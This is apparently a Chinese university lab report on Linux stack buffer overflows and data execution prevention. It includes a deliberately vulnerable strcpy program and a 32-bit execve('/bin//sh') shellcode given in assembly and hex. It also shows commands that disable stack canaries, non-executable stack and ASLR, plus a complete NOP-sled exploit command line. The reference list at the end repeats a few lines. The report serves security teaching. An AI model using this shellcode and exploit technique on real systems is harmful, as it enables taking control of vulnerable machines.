操作系统安全实验
时间:2022-08-31 20:00:00
缓冲区溢出和数据执行保护DEP实验
实验环境
虚拟机:VirtualBox 6.1.30
操作系统:Ubuntu21.04
主机OS:Microsoft Windows10
实验要求
- 在关闭数据执行保护机制下,Linux缓冲区溢出攻击在系统平台上实现
- 开启数据执行保护机制,运行一样的溢出攻击代码,比较实验现象
缓冲区溢出概述
- 定义
- 缓冲区是指在程序内使用或存储用户输入的内存区域,溢出是指计算机超过缓冲区本身的容量,从而破坏程序堆栈,导致程序崩溃或使程序执行其他指令,以达到攻击的目的。
- 由于堆栈从高内存地址增长到低内存地址,数组的变量从低内存地址增长到高地址。如果不检查和限制数据的越界,将超过其长度的内容写入程序的数组缓冲区,覆盖堆栈的原始返回地址,会导致缓冲区溢出,从而破坏程序的堆栈。如果构建的注入向量覆盖返回地址,使程序转向执行恶意代码,以达到攻击的目的。
- 作用
- 程序崩溃,拒绝服务攻击
- 在程序的地址空间中安排适当的代码。
- 原因
- 程序没有仔细检查用户输入
保护数据DEP
-
原因
在冯·不区分代码和数据的诺依曼系统 -
基本原理
将数据所在的内存页面识别为不可执行,以防止数据页面执行代码。当程序溢出并试图在数据页面上执行指令时CPU与其执行恶意指令,不如抛出异常。 -
缺点
- 硬件DEP需要CPU但不是所有的支持CPU提供硬件DEP的支持
- 由于兼容性Windows不能对所有进程开启DEP保护,否则可能会出现异常。例如,一些第三方插件DLL,无法确认它是否支持,因为它无法确认DEP,对涉及这些DLL不敢贸然打开程序DEP保护
- 当DEP在最重要的两种状态下工作optin和optout下时,DEP它可以动态关闭和打开,这表明操作系统提供了一些API函数来控制DEP的状态,而API调用没有限制
栈溢出
- 函数调用栈
- 用于保存函数运行时的状态信息,包括函数参数和局部变量
- 从高地址到低地址在内存中生长,因此栈顶对应的内存地址在压栈时变小,退栈时变大
- 函数状态主要涉及三个寄存器
- ebp 存储当前执行函数的基地址,在函数运行时保持不变,通常用于索引函数参数或局部变量的位置。
- esp 存储函数调用栈顶地址,在压栈和退栈时发生变化。
- eip 存储即将执行的程序指令的地址,cpu 依照 eip 读取指令并执行存储内容,然后执行eip 自动指向下一个指令
实验内容
-
编写溢出程序
// filename:bof.c #include
#include int main(int argc, char **argv){ char buf[128];// buf是函数的局部变量,放在栈上 if(argc < 2) return 1; strcpy (buf ,argv[1]);// 将调用程序后面的输入赋值buf中间,可能溢出 printf("argv[1]:%s\n", buf); return 0; } -
溢出原因:strcpy函数赋值不检查目标字符数组的空间溢出
-
使用如下指令编译程序
gcc -z execstack -fno-stack-protector bof.c -o bof -m32
-
-z execstack:关闭栈的保护执行,即栈内的数据页可以作为指令执行
-
-fno-stack-protector:
禁用栈保护canary,如果启用栈保护,函数开始执行时会先插入栈cookie当函数真正返回时,将验证信息cookie信息是否合法,如果不合法,程序将停止运行。当攻击者覆盖返回地址时,通常会cookie信息给覆盖,导致栈保护检查失败而阻止shellcode的执行。在Linux中这个cookie信息称为canary。
-
-
-
编写shellcode
-
定义:通常用于为攻击者启动一个能控制受害者机器的shell的一小段代码
-
Syscall的系统调用函数
int execve(const char *filename, char *const argv[], char * envp[]);
- 设置execve的系统调用号:%eax = 0xb
- 第一个参数filename:%ebx指向系统调用文件字符串的首地址,字符串末尾为’/0’
- argv:要传递给程序的完整参数列表,一般是执行程序的名字,使用%ecx指向
- envp:指向执行execed程序的专门环境指针,使用%edx指向
-
编写shellcode
// filename:shellcode.c #include
void shellcode(){ __asm__( "xor %eax,%eax\n\t" // 将eax寄存器异或处理值为0 "pushl %eax\n\t" // 将0压入栈,push相当于pushl "push $0x68732f2f\n\t" // 将“//sh”压入栈,//是为了凑4个字节对齐 "push $0x6e69622f\n\t" // 将“/bin”压入栈 "movl %esp,%ebx\n\t" // 将栈底指针ebx赋值为当前栈顶指针esp "pushl %eax\n\t" // 将0压入栈中 "pushl %ebx\n\t" // 将字符串“//sh/bin/0”的首地址压入栈中 "movl %esp,%ecx\n\t" // 让ecx指向ebx "cltd\n\t" // 让eax拓展到edx:eax,即edx设置为0 "movb $0xb,%al\n\t" // 将execve的功能号赋值给eax的低八位 "int $0x80\n\t" // 使用软中断进行系统调用 ); } int main(int argc, char **argv){ shellcode(); return 0; } -
编译shellcode
gcc -m32 -o shellcode shellcode.c
-
反汇编shellcode
objdump –d shellcode | less
-
实现16进制的shellcode
//filename: shellcode_asm.c #include
#include int main(){ char shellcode[]= "\x31\xc0\x50\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x50\x53\x89" "\xe1\x99\xb0\x0b\xcd\x80"; void (*fp)(void); fp = (void*)shellcode; fp(); return 0; } gcc -z execstack -m32 -o shellcode shellcode_asm.c
-
-
关闭地址随机化ASLR保护机制
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
-
测试数组长度
gcc -z execstack -fno-stack-protector bof.c -o bof -m32 gdb -q --args ./bof $(python -c 'print "A" * 120 + "BBBB"+"CCCC"')
- 字符C的16进制为43,所以C覆盖了返回地址,导致程序中断,此时使用
$x/200wx $esp - 200
,找到字符A的连续值为41的起始地址shellAddress,再将shellAdderss覆盖到返回地址即可
- 字符C的16进制为43,所以C覆盖了返回地址,导致程序中断,此时使用
-
成功
gcc -z execstack -fno-stack-protector bof.c -o bof -m32 gdb -q --args ./bof $(python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x98\xd3\xff\xff"')
- '\x90’表示NOP,即cpu向下滑动的控指令,因为编译过程可能增加变量导致地址改变,因此增加NOP,只要命中NOP中的一个即可向下滑动到shellcode执行
参考资料
- 缓冲区溢出实验https://blog.csdn.net/qq_38217427/article/details/105647504
- 缓冲区溢出攻击的分析及防范策略
http://www.doczj.com/doc/acdc2c586d1aff00bed5b9f3f90f76c660374c00-3.html - 栈溢出从入门到放弃https://zhuanlan.zhihu.com/p/25816426
- Windows 缓冲区溢出与数据执行保护DEP
http://blog.csdn.net/morewindows/article/details/6887136 - 缓冲区溢出(栈溢出)https://www.cnblogs.com/tcctw/p/11487645.html
- 栈溢出综合知识https://space.bilibili.com/521870525/channel/seriesdetail?sid=665628
- Canary保护机制(栈保护)的开启与关闭
https://blog.csdn.net/ConlinderFeng/article/details/108436147 - Linux下程序的保护机制(checksec)https://blog.csdn.net/Y_peak/article/details/113572153
ail?sid=665628 - Canary保护机制(栈保护)的开启与关闭
https://blog.csdn.net/ConlinderFeng/article/details/108436147 - Linux下程序的保护机制(checksec)https://blog.csdn.net/Y_peak/article/details/113572153